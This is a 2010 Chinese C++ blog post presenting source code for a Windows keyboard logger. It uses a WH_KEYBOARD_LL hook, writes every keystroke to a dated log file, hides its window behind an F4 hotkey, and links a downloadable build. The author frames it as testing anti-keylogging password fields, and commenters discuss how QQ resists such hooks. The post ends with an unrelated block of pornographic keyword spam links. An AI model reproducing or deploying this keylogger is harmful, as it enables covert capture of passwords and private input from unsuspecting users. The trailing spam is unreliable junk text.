• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Pencil.C++

            更新速度可能會晚于http://blog.csdn.net/bilaopao

              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理 ::
              34 隨筆 :: 0 文章 :: 40 評論 :: 0 Trackbacks

                最近在研究反監聽密碼框的開發。  做這個東西是為了測試密碼框的效果。 用的是WH_KEYBOARD_LL鉤子。 我暫時還沒找到防止底層鍵盤全局鉤子的方法。QQ的密碼可以用這種方法監聽到,但是不是明文。不知道它是怎么做到的。
                我也給這個工具做了個隱藏鍵 F4  。
                開發工具是VS2008  
                 


            鉤子回調函數中的代碼:

             1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
             2                                      WPARAM wParam,
             3                                      LPARAM lParam
             4                                      )
             5{
             6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
             7    if (nCode<0)
             8    {
             9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            10    }

            11    if (HC_ACTION==nCode)
            12    {
            13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
            14        {
            15            if (VK_F4==kbhs->vkCode)
            16            {
            17                //先判斷窗口是show or hide
            18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
            19                if (IsWindowVisible(m_hWnd2))
            20                {
            21                    ShowWindow(m_hWnd2,SW_HIDE);
            22                    return 0;
            23                }

            24                else
            25                {
            26                    if (NULL==m_hWnd2)
            27                    {
            28                        AfxMessageBox(L"查找失敗!");
            29                        return 0;
            30                    }

            31                    ShowWindow(m_hWnd2,SW_RESTORE);
            32                    //UpdateWindow(m_hWnd);
            33                    BringWindowToTop(m_hWnd);
            34                    SetForegroundWindow(m_hWnd);
            35                    return 1;
            36                }

            37            }

            38
            39                char c[1]; 
            40
            41                c[0]=kbhs->vkCode; 
            42
            43                SaveLog(c); 
            44        }

            45    }

            46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            47}



            字符保存的代碼:

             1void SaveLog(char* c)
             2{
             3    //AfxMessageBox(L"進入存儲程序");
             4    CTime tm=CTime::GetCurrentTime(); 
             5
             6    CString name; 
             7    TCHAR* szPath[MAX_PATH];
             8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
             9    CString path=(LPTSTR)szPath;
            10    path.Replace(L"\\LogerDll.dll",L"");
            11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
            12    path+=name;
            13    
            14    
            15
            16    CFile file; 
            17
            18    if(!file.Open(path,CFile::modeReadWrite)) 
            19
            20    
            21
            22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
            23
            24    }
             
            25
            26    file.SeekToEnd(); 
            27
            28    file.Write(c,1); 
            29
            30    file.Close(); 
            31
            32
            33}




            下載地址:http://www.shnenglu.com/Files/pencil/KeyboardLoger.rar
               

            posted on 2010-01-28 08:43 Pencil.C++ 閱讀(3606) 評論(9)  編輯 收藏 引用 所屬分類: VC

            評論

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 11:33 lo
            qq2009不停的setwindowhook 以保證自己處于hook鏈頂端來加密
            另外使用模擬按鍵來干擾  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:16 test
            你LogerDll.dll 呢?  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:17 Pencil.C++
            在里面了大哥。@test
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:18 Pencil.C++
            謝謝您的分享,我試試。@lo
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:31 test
            大哥 我看到了啊 你好咧啊,我在google閱讀器里看到你的啊,不過你是壞寧,你想干壞事,嘎嘎~  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:32 Pencil.C++
            這個只是個雛形,沒有什么實用意義。呵呵。@test
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-28 13:34 test
            好玩唄,  回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-29 08:44 Pencil.C++
            實際上,QQ并不是這么做的,最起碼現在的版本不是。@lo
              回復  更多評論
              

            # re: 發一個鍵盤監聽工具的代碼 2010-01-29 12:29 zhaoyg
            學習了  回復  更多評論
              

            国产偷久久久精品专区| 久久香蕉综合色一综合色88| 亚洲精品tv久久久久久久久久| 久久精品国产亚洲AV不卡| 99久久精品国产综合一区| 久久精品国产亚洲精品2020 | 国产成人综合久久精品红| 精品一区二区久久| 精品久久人妻av中文字幕| 99蜜桃臀久久久欧美精品网站 | 天天爽天天爽天天片a久久网| 久久久精品日本一区二区三区| 99久久综合狠狠综合久久止| 人妻精品久久久久中文字幕一冢本| 狠狠色丁香久久婷婷综合图片 | 国内精品综合久久久40p| 国产精品久久自在自线观看| 国产精品久久久久久久久软件| 99久久国产热无码精品免费久久久久| av色综合久久天堂av色综合在| 精品久久人人妻人人做精品 | 久久国产高清一区二区三区| 久久天天躁狠狠躁夜夜躁2O2O| 香蕉aa三级久久毛片| 香蕉99久久国产综合精品宅男自 | 日韩精品久久久肉伦网站| 欧美麻豆久久久久久中文| 中文字幕亚洲综合久久2| 国产精品久久久久久搜索| 亚洲AV无码成人网站久久精品大| 亚洲国产精品无码成人片久久| 久久久久女教师免费一区| 狠狠人妻久久久久久综合| 国产呻吟久久久久久久92| 久久婷婷色综合一区二区| 久久夜色精品国产亚洲av| 午夜人妻久久久久久久久| 亚洲va久久久噜噜噜久久狠狠| 热re99久久6国产精品免费| 久久亚洲私人国产精品| 国产精品一区二区久久国产|